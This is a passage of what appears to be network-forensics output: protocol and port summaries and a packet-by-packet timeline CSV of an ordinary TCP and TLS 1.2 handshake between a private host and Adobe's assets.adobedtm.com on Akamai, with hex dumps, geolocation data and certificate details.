0a\n","network_analysis_protocols.csv":"Protocol,Packets,Bytes,Packet %,Byte %\nTCP,19,6247,100.00%,100.00%\n","network_analysis_ports.csv":"Port,Packets,Bytes,Packet %,Byte %\n63940,19,6247,50.00%,50.00%\n443,19,6247,50.00%,50.00%\n","packet_forensic_timeline.csv":"Timestamp_UTC,Packet_Num,Flow_ID,Src_IP,Dst_IP,Src_Port,Dst_Port,Protocol,Src_Country,Src_City,Src_ASN,Src_AS_Org,Src_Lat,Src_Lon,Src_Network,Dst_Country,Dst_City,Dst_ASN,Dst_AS_Org,Dst_Lat,Dst_Lon,Dst_Network,TCP_Flags,DNS_Query,HTTP_Url,Protocol_Stack,Layer_Depth,Description,Packet_Content(Hex),Packet_Content,Alerts,Complete_Dissection\n2026-05-25 06:02:45.999135,1,TCP 10.152.152.11:63940 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63940,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,S,,,Ether > IP > TCP,3,TCP S Seq=2818113181 Ack=0,bc24112907bbbc2411360d0c0800450000348a104000800678ac0a98980bb81e9d45f9c401bba7f8fe9d000000008002faf0da010000020405b40103030801010402,\".$.)...$.6\n...E..4..@...x.\n......E................................\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35344, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30892, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63940, \"\"dport\"\": 443, \"\"seq\"\": 2818113181, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 55809, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-05-25 06:02:45.999160,2,TCP 184.30.157.69:443 -> 10.152.152.11:63940,184.30.157.69,10.152.152.11,443,63940,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=3507099537 Ack=2818113182,bc2411360d0cbc24112907bb08004500003400004000400642bdb81e9d450a98980b01bbf9c4d10a1791a7f8fe9e8012faf0f82d0000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@.B....E\n........\n...........-.............\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17085, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63940, \"\"seq\"\": 3507099537, \"\"ack\"\": 2818113182, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 63533, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-05-25 06:02:45.999475,3,TCP 10.152.152.11:63940 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63940,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=2818113182 Ack=3507099538,bc24112907bbbc2411360d0c0800450000288a114000800678b70a98980bb81e9d45f9c401bba7f8fe9ed10a1792501020140d050000,\".$.)...$.6\n...E..(..@...x.\n......E.........\n..P. .\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35345, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30903, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63940, \"\"dport\"\": 443, \"\"seq\"\": 2818113182, \"\"ack\"\": 3507099538, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 3333, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-05-25 06:02:46.000030,4,TCP 10.152.152.11:63940 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63940,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2818113182 Ack=3507099538,bc24112907bbbc2411360d0c0800450000e28a124000800677fc0a98980bb81e9d45f9c401bba7f8fe9ed10a17925018201450b2000016030300b5010000b103036a144874cebd08fa009824ea0c744f9df2f2da95404a98672eacf6d87967aa81000026c02cc02bc030c02fc024c023c028c027c00ac009c014c013009d009c003d003c0035002f000a010000620000001800160000136173736574732e61646f626564746d2e636f6d000500050100000000000a00080006001d00170018000b00020100000d001a00180804080508060401050102010403050302030202060106030023000000170000ff01000100,\".$.)...$.6\n...E.....@...w.\n......E.........\n..P. .P..............j.Ht......$..tO.....@J.g....yg....&.,.+.0./.$.#.(.'.\n.\t.........=.<.5./.\n...b.........assets.adobedtm.com..........\n.................\n.............................#...........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 226, \"\"id\"\": 35346, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30716, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63940, \"\"dport\"\": 443, \"\"seq\"\": 2818113182, \"\"ack\"\": 3507099538, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 20658, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 181, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientHello  msgtype=client_hello msglen=177 version=TLS 1.2 gmt_unix_time=Mon, 25 May 2026 13:02:44  (1779714164) random_bytes=cebd08fa009824ea0c744f9df2f2da95404a98672eacf6d87967aa81 sidlen=0 sid=b'' cipherslen=38 ciphers=[TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_GCM_SHA384, TLS_RSA_WITH_AES_128_GCM_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA256, TLS_RSA_WITH_AES_128_CBC_SHA256, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA] complen=1 comp=null extlen=98 ext=[<TLS_Ext_ServerName  type=server_name len=24 servernameslen=22 servernames=[b'assets.adobedtm.com'] |>, <TLS_Ext_CSR  type=status_request len=5 stype=ocsp req=[<OCSPStatusRequest  respidlen=0 reqextlen=0 reqext=<X509_Extensions  |> |>] |>, <TLS_Ext_SupportedGroups  type=supported_groups len=8 groupslen=6 groups=[x25519, secp256r1, secp384r1] |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=2 ecpllen=1 ecpl=[uncompressed] |>, <TLS_Ext_SignatureAlgorithms  type=signature_algorithms len=26 sig_algs_len=24 sig_algs=[sha256+rsaepss, sha384+rsaepss, sha512+rsaepss, sha256+rsa, sha384+rsa, sha1+rsa, sha256+ecdsa, sha384+ecdsa, sha1+ecdsa, sha1+dsa, sha512+rsa, sha512+ecdsa] |>, <TLS_Ext_SessionTicket  type=session_ticket len=0 ticket=b'' |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>, <TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-05-25 06:02:46.000039,5,TCP 184.30.157.69:443 -> 10.152.152.11:63940,184.30.157.69,10.152.152.11,443,63940,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3507099538 Ack=2818113368,bc2411360d0cbc24112907bb080045000028ad67400040069561b81e9d450a98980b01bbf9c4d10a1792a7f8ff585010003ff8210000,\".$.6\n..$.)....E..(.g@.@..a...E\n........\n.....XP..?.!..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 44391, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 38241, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63940, \"\"seq\"\": 3507099538, \"\"ack\"\": 2818113368, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 63521, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-05-25 06:02:46.337499,6,TCP 184.30.157.69:443 -> 10.152.152.11:63940,184.30.157.69,10.152.152.11,443,63940,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > Padding,6,TCP PA Seq=3507099538 Ack=2818113368,bc2411360d0cbc24112907bb080045000d80ad68400040068808b81e9d450a98980b01bbf9c4d10a1792a7f8ff585018003f057a00001603030049020000450303cbcf690a9942f2eef052b52add76abe7dc8634cabdb26b50444f574e4752440100c02c00001dff0100010000000000000b0004030001020023000000050000001700001603030b9c0b000b98000b950006c3308206bf308205a7a0030201020210088419764d2e757b0de43f20409b0890300d06092a864886f70d01010b05003059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c532052534120534841323536203230323020434131301e170d3235303632343030303030305a170d3236303732353233353935395a3068310b3009060355040613025553311330110603550408130a43616c69666f726e69613111300f0603550407130853616e204a6f736531133011060355040a130a41646f626520496e632e311c301a060355040313136173736574732e61646f626564746d2e636f6d3059301306072a8648ce3d020106082a8648ce3d030107034200044afbdf91b539759d17f2896f88c637a4f01d67ab3f8c6ec0e80849b3c05bc990e23546fd12afcc53c9c2729abab83151d3472e73534c513ba9a72463c18cce40a382043d30820439301f0603551d23041830168014748580c066c7df37decfbd2937aa031dbeedcd17301d0603551d0e041604149994c8de674b0563825cc846f0ad8df972f856ad3081cb0603551d110481c33081c082136173736574732e61646f626564746d2e636f6d821f63646e312d73746167696e672e61646f62657265736f75726365732e6e657482196173736574732e61646f62657265736f75726365732e6e657482216173736574732d73746167696e672e61646f62657265736f75726365732e6e6574821763646e312e61646f62657265736f75726365732e6e65748215636f6d6d657263652e61646f626564746d2e636f6d821a6d6167656e746f2d726563732d73646b2e61646f62652e6e6574303e0603551d20043730353033060667810c0102023029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f435053300e0603551d0f0101ff040403020388301d0603551d250416301406082b0601050507030106082b0601050507030230819f0603551d1f0481973081943048a046a0448642687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c3048a046a0448642687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c30818706082b06010505070101047b3079302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305106082b060105050730028645687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e637274300c0603551d130101ff040230003082017e060a2b06010401d6790204020482016e0482016a0168007600d76d7d10d1a7f577c2c7e95fd700bff982c9335a65e1d0b3017317c0c8c5697700000197a356776d0000040300473045022100ba13cdb0191ff2dda7613f7abaa7a2709aad9dcb1d225f285caa90401b88d1cf02204f4cced7a52a563f96e619b5a84a3ea3265604c247ef88fe44872362f1788499007700c2317e574519a345ee7f38deb29041ebc7c2215a22bf7fd5b5ad769ad90e52cd00000197a35677990000040300483046022100ba0becbb14c6527db1b14357ed59fbcfd99c67a8921e6bc1e8cef99a99eb7b97022100dbe61c5fec37f4caebd7688dfd4867de1e0253641e958279c144db5455387384007500944e4387faecc1ef81f3192426a8186501c7d35f3802013f72677d55372e19d800000197a35677ab000004030046304402204689c9b939bc70f0eb7100247f2ebb036595e5feee06c2a0c12ad3a0cf925a090220136005146ca316af5faab6c9211868852c22a24ee42ac9374af8c78fdecf122c300d06092a864886f70d01010b050003820101009568286c9d10cf14a45fab15a703543efc1863106aa47085e985102f8dd54639c32d186b32b0b7f64002cfedc28a506bf1fa039b3f0c590a9ca8356df9e91fdea22c1de099bc120cdf06d8069913e22db60731146f9bd78bb64cfc16d39f44a66ecd281f52c3c7477a35d12c29e9ce6ddf6d80fad6cbb6ab1d9d34e1cdef10870430d94d31c40896b0c2a6e02b2b5cd822ed23dd0197e9bf07b86059e63d35ef7d802cd3bc54a2455aadbf9c0780ae0867900f72bca9cc27cbbaa1c256a351a17f7fe35f083c6b7e0baff7a1442fb528276737a6982678691b9e211720182b7c3f266f93c6c059cf6b03c0333dc9a1a6207fb5ecf1a9255ba762466f9955cdd80004cc308204c8308203b0a00302010202100cf5bd062b5602f47ab8502c23ccf066300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3231303333303030303030305a170d3331303332393233353935395a3059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c53205253412053484132353620323032302043413130820122300d06092a864886f70d01010105000382010f003082010a0282010100ccf710624fa6bb636fed905256c56d277b7a12568af1f4f9d6e7e18fbd95abf260411570db1200fa270ab557385b7db2519371950e6a41945b351bfa7bfabbc5be2430fe56efc4f37d97e314f5144dcba710f216eaab22f031221161699026ba78d9971fe37d66ab75449573c8acffef5d0a8a5943e1acb23a0ff348fcd76b37c163dcde46d6db45fe7d23fd90e851071e51a35fed4946547f2c88c5f4139c97153c03e8a139dc690c32c1af16574c9447427ca2c89c7de6d44d54af4299a8c104c2779cd648e4ce11e02a8099f04370cf3f766bd14c49ab245ec20d82fd46a8ab6c93cc6252427592f89afa5e5eb2b061e51f1fb97f0998e83dfa837f4769a10203010001a38201823082017e30120603551d130101ff040830060101ff020100301d0603551d0e04160414748580c066c7df37decfbd2937aa031dbeedcd17301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b06010505070302307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c303d0603551d2004363034300b06096086480186fd6c02013007060567810c01013008060667810c0102013008060667810c0102023008060667810c010203300d06092a864886f70d01010b0500038201010090f170cb289769977c74fdc0fa267b53abadcd65fdba9c069c8ad75a4387ed4d4c565fadc1c5b505202e59d1ff4af5a02ad8b095adc92e4a3bd7a7f66f8829fc303f2484bbc3b77b93072caf876b7633ed005552b2599ee4b9d0f3dfe70ffeddf8c4b910728109045fcf979e2e32758ecf9a58d257317e370181b2666d291ab166096dd16e90f4b9fa2f0114c55c566401d97d87a838539f8b5d466d5cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f079816030301df160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303532333132303131345a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd170210088419764d2e757b0de43f20409b08908000180f32303236303532333131343530315aa011180f32303236303533303130343530315a300d06092a864886f70d01010b05000382010100116df460e0572e34e49e2a56e1460c5acecdfe8149ac5a7e7ba95046520c2a71e324a39099811cff36f51a4ca34d9968d7ca6a14dac63592e7798fe8a4e775a05216b1125a9e2a79a14390e8079584968215db598f8093c814b9c467e6b6507d5eafa1e7177e3ad154633050ae8981b06257cb5fa73c3b766bbc4a3805ae71d54ced408fad,\".$.6\n..$.)....E.\n..h@.@......E\n........\n.....XP..?.z......I...E....i\n.B...R.*.v....4...kPDOWNGRD...,.....................#.........................0...0.............vM.u{\n.? @...0\n.\t*.H..\n.....0Y1.0\t..U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\n250624000000Z.\n260725235959Z0h1.0\t..U....US1.0...U...\nCalifornia1.0...U....San Jose1.0...U.\n.\nAdobe Inc.1.0...U....assets.adobedtm.com0Y0...*.H.=....*.H.=....B..J....9u....o..7...g.?.n...I..[...5F....S..r...1Q.G.sSLQ;..$c...@...=0..90...U.#..0...t...f..7...)7.......0...U..........gK.c.\\.F....r.V.0....U.....0....assets.adobedtm.com..cdn1-staging.adoberesources.net..assets.adoberesources.net.!assets-staging.adoberesources.net..cdn1.adoberesources.net..commerce.adobedtm.com..magento-recs-sdk.adobe.net0>..U. .70503..g.....0)0'..+.........http://www.digicert.com/CPS0...U...........0...U.%..0...+.........+.......0....U.....0..0H.F.D.Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H.F.D.Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0....+........{0y0$..+.....0...http://ocsp.digicert.com0Q..+.....0..Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0...U.......0.0..~.\n+.....y......n...j.h.v..m}....w..._......3Ze....s....iw.....Vwm.....G0E.!..........a?z...p.....\"\"_(\\..@..... OL...*V?.....J>.&V..G...D.#b.x...w..1~WE..E..8...A...!Z\"\".....v...R......Vw......H0F.!.......R}..CW.Y....g...k.......{..!...._.7....h..Hg...Sd...y.D.TU8s..u..NC........$&..e..._8..?rg}U7........Vw......F0D. F...9.p..q.$....e........*....Z\t. .`..l..._...!.h.,\"\".N.*.7J......,0\n.\t*.H..\n...........h(l....._....T>..c.j.p..../..F9.-.k2...@.....Pk....?.Y\n..5m.....,.............-..1.o....L....D.n.(.R..Gz5.,)..m.m........4......0.M1.......++\\.\"\".#.......`Y.=5.}.,..T.EZ.......g..r...'....V.Q...._.<k~....D/.('g7..&xi..!. .+|?&o...Y.k..3=... .....%[.bFo.U.....0...0..............+V..z.P,#..f0\n.\t*.H..\n.....0a1.0\t..U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20..\n210330000000Z.\n310329235959Z0Y1.0\t..U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\"\"0\n.\t*.H..\n..........0..\n........bO..co..RV.m'{z.V............`A.p....'\n.W8[}.Q.q..jA.[5..{....$0.V...}.....M.......\"\".1\"\".ai.&.x....}f.uD.s....]\n.YC...:..H..k7.c..F..E.}#...Q..Q._.IFT.,.......<...9.i.2...WL.GB|...}..MT.B.....w..H....*...Cp.?vk.LI.$^.\n..F..l..bRBu....^^..a.....\t..=...Gi..........0..~0...U.......0.......0...U......t...f..7...)7.......0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0...+.........+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=..U. .6040..\t`.H...l..0...g....0...g.....0...g.....0...g.....0\n.\t*.H..\n............p.(.i.|t...&{S...e.......ZC..MLV_..... .Y..J..*......J;...o.).0?$....{..,..kv3..UR.Y..............r.\t._....2u...X.W1~7...fm)..f\tm.n..../...\\Vd..}..8S..]Fm\\.'...~....R....7|*..UZ8r.....Ls..75.).i.v...{.....g...Z!....?......Y.#\n$*.%L........t..m.......@................0...\n......0....\t+.....0......0...0......t...f..7...)7.........20260523120114Z0s0q0I0\t..+.............[.X....:.i.oH....t...f..7...)7............vM.u{\n.? @.......20260523114501Z....20260530104501Z0\n.\t*.H..\n...........m.`.W.4..*V.F.Z....I.Z~{.PFR.*q.$......6..L.M.h..j...5..y....u.R...Z.*y.C.........Y.......g..P}^....~:.Tc0P....bW._.<;vk.J8..q.L.@..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 3456, \"\"id\"\": 44392, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 34824, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63940, \"\"seq\"\": 3507099538, \"\"ack\"\": 2818113368, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 1402, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 73, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSServerHello  msgtype=server_hello msglen=69 version=TLS 1.2 gmt_unix_time=Tue, 10 May 2078 00:21:30  (3419367690) random_bytes=9942f2eef052b52add76abe7dc8634cabdb26b50444f574e47524401 sidlen=0 sid=b'' cipher=TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 comp=null extlen=29 ext=[<TLS_Ext_RenegotiationInfo  type=renegotiation_info len=1 reneg_conn_len=0 renegotiated_connection=b'' |>, <TLS_Ext_ServerName  type=server_name len=0 |>, <TLS_Ext_SupportedPointFormat  type=ec_point_formats len=4 ecpllen=3 ecpl=[uncompressed, ansiX962_compressed_prime, ansiX962_compressed_char2] |>, <TLS_Ext_SessionTicket  type=session_ticket len=0 ticket=b'' |>, <TLS_Ext_CSR  type=status_request len=0 |>, <TLS_Ext_ExtendedMasterSecret  type=extended_master_secret len=0 |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 2972, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSCertificate  msgtype=certificate msglen=2968 certslen=2965 certs=[(1731, [X.509 Cert. Subject:/C=US/ST=California/L=San Jose/O=Adobe Inc./CN=assets.adobedtm.com, Issuer:/C=US/O=DigiCert Inc/CN=DigiCert Global G2 TLS RSA SHA256 2020 CA1]), (1228, [X.509 Cert. Subject:/C=US/O=DigiCert Inc/CN=DigiCert Global G2 TLS RSA SHA256 2020 CA1, Issuer:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert Global Root G2])] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"Padding\"\", \"\"fields\"\": {\"\"load\"\": \"\"16030301df160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303532333132303131345a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd170210088419764d2e757b0de43f20409b08908000180f32303236303532333131343530315aa011180f32303236303533303130343530315a300d06092a864886f70d01010b05000382010100116df460e0572e34e49e2a56e1460c5acecdfe8149ac5a7e7ba95046520c2a71e324a39099811cff36f51a4ca34d9968d7ca6a14dac63592e7798fe8a4e775a05216b1125a9e2a79a14390e8079584968215db598f8093c814b9c467e6b6507d5eafa1e7177e3ad154633050ae8981b06257cb5fa73c3b766bbc4a3805ae71d54ced408fad\"\"}}]\"\n2026-05-25 06:02:46.337692,7,TCP 10.152.152.11:63940 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63940,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=2818113368 Ack=3507102954,bc24112907bbbc2411360d0c0800450000288a134000800678b50a98980bb81e9d45f9c401bba7f8ff58d10a24ea50102014fef20000,\".$.)...$.6\n...E..(..@...x.\n......E.......X.\n$.P. .....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35347, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30901, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": 